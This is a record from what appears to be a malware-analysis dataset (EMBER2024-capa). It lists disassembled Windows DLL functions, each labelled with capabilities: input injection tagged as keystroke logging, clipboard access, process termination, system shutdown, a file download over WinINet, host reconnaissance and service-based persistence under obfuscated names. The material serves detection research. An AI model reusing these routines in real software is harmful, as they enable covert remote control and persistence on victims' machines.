joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007af0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10012d2e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10007200
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x10013404
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10007bb7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x100133fc
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10007c13
push 0x64
push 0
push 8
mov ecx, eax
call fcn.100087f0
jmp 0x10007c15
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x100082d0
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000a0e0
push ebx
push 0
push 0
push esi
push 0x10008340
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000a0e0
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x100084a0
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10008651
call fcn.1000a160
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10008651
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.user32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000851d
cmp eax, 0x208
ja 0x1000851d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.user32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.user32.dll_WindowFromPoint]
push eax
call dword [sym.imp.user32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x100085cd
je 0x100085b5
cmp eax, 0x105
ja 0x10008589
je 0x1000856b
sub eax, 0x100
je 0x1000854d
dec eax
je 0x1000856b
sub eax, 3
jne case.0x100085d7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.user32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.user32.dll_keybd_event]
jmp case.0x100085d7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.user32.dll_keybd_event]
jmp case.0x100085d7.521
sub eax, 0x201
je 0x100085a6
dec eax
jne case.0x100085d7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 2
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000863a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x100085d7.521
jmp dword [eax*4 + 0x10008658]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000863a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000863a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x100084e9
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x10008680
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.user32.dll_OpenClipboard]
test eax, eax
je 0x100086e8
push ebx
push esi
call dword [sym.imp.user32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x100086e0
push edi
push ebx
call dword [sym.imp.kernel32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.user32.dll_SetClipboardData]
push ebx
call dword [sym.imp.kernel32.dll_GlobalFree]
pop edi
call dword [sym.imp.user32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x100086f0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.user32.dll_OpenClipboard]
test eax, eax
je 0x10008782
push 1
call dword [sym.imp.user32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10008721
call dword [sym.imp.user32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.kernel32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.kernel32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.kernel32.dll_GlobalUnlock]
call dword [sym.imp.user32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10007280
push ebp
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x10009b90
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x10009bd8
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.kernel32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.kernel32.dll_TerminateProcess]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x10009ba9
mov edi, dword [esp + 0x10]
pop ebp
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
mov ecx, edi
call fcn.10009b30
mov ecx, edi
call fcn.10009b60
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x10009e90
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.1000bbc0
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.user32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.1000bbc0
pop ecx
ret

Function at 0x1000a0e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.kernel32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a060
push eax
push ecx
call dword [sym.imp.msvcrt.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a2f0
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.user32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.msvcrt.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000a2a0
add esp, 8
test eax, eax
jne 0x1000a351
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.user32.dll_PostMessageA]
test esi, esi
je 0x1000a375
push esi
call fcn.1000a230
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x1000a380
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ebx, 1
push str.WININET.dll
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call edi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x20], ebp
jne 0x1000a3da
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetOpenUrlA
push esi
call edi
mov ecx, dword [esp + 0x42c]
push 0
push 0x80000000
push 0
push 0
push ecx
push ebp
call eax
mov ebp, eax
test ebp, ebp
jne 0x1000a40b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
push str.InternetReadFile
push esi
call edi
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x38], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x1000a4ab
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push 0x400
push ecx
push ebp
call dword [esp + 0x2c]
test ebx, ebx
je 0x1000a46b
cmp word [esp + 0x28], 0x5a4d
jne 0x1000a492
mov eax, dword [esp + 0x10]
xor ebx, ebx
lea edx, [esp + 0x24]
push ebx
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000a49a
jmp 0x1000a43d
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.InternetCloseHandle
push esi
call edi
mov edi, eax
push ebp
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x418
ret
Function at 0x1000b150
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000b210
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
push ebx
push esi
lea eax, [esp + 0x74]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x78], 0x66
mov byte [esp + 0x15a], bl
mov dword [esp + 0x7c], 0x9c
call dword [sym.imp.kernel32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x15c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c0], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], pe_nt_image_headers32
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c1]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push str.NetSubKey
push 0x80000001
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c0]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x10018420
push eax
mov dword [esp + 0x34], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b2e7
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x1000b2fa
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c0]
push edx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x2c8]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.ws2_32.dll_getsockname]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x1c0]
lea edi, [esp + 0x124]
mov dword [esp + 0x120], edx
lea eax, [esp + 0x50]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov cx, word [esp + 0x64]
mov word [esp + 0x114], cx
call fcn.1000b150
lea edx, [esp + 0x30]
mov dword [esp + 0x118], eax
push edx
mov dword [esp + 0x34], 0x20
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x38]
shr eax, 0x14
inc eax
mov dword [esp + 0x11c], eax
call fcn.1000b1b0
mov ecx, dword [esp + 0x2cc]
lea edx, [esp + 0x74]
mov dword [esp + 0x158], ecx
push 0x14c
push edx
mov ecx, ebx
mov byte [esp + 0x15e], al
call fcn.100025a0
pop edi
pop esi
pop ebx
add esp, 0x2b4
ret
Function at 0x1000b840
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10018afc]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000b830
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10018afc]
push 0x7f8b
push eax
call dword [sym.imp.user32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.gdi32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.user32.dll_RegisterClassA]
mov eax, dword [0x10018afc]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.user32.dll_LoadMenuA]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.user32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10018d88
call dword [sym.imp.msvcrt.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10018d88
call dword [sym.imp.msvcrt.dll_wcstombs]
add esp, 0x18
push 0x1000b7e0
push 0x10018d88
call dword [sym.imp.advapi32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x10018c44], eax
call fcn.1000b780
push edi
push edi
push 4
call fcn.1000b780
add esp, 0x18
mov esi, dword [sym.imp.kernel32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000cc20
push edi
push edi
call esi
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000c580
push edi
push edi
call esi
mov esi, dword [sym.imp.kernel32.dll_Sleep]
mov dword [0x10016a90], eax
push edi
push edi
call fcn.1000b540
add esp, 8
push 0x3e8
call esi
jmp 0x1000b985

Function at 0x1000b9a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000ba1f
push ebp
mov ebp, dword [sym.imp.msvcrt.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000ba0d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.msvcrt.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000ba0d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000b9dc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.advapi32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Hcxjk_P_ootnjt_T_mydwez_Ycnr
push str.Uakohm_A_jevupgLc
push eax
call dword [sym.imp.advapi32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.advapi32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.HeiggttpXqwdqsdn_Jwzecdp_Tjikmpns_Lpu
push eax
push 1
push ecx
call dword [sym.imp.advapi32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.advapi32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.advapi32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Uakohm_A_jevupgLc
push esi
call dword [sym.imp.advapi32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.advapi32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.advapi32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.advapi32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.advapi32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Uakohm_A_jevupgLc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.kernel32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.msvcrt.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.msvcrt.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call dword [sym.imp.kernel32.dll_lstrlen]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.advapi32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret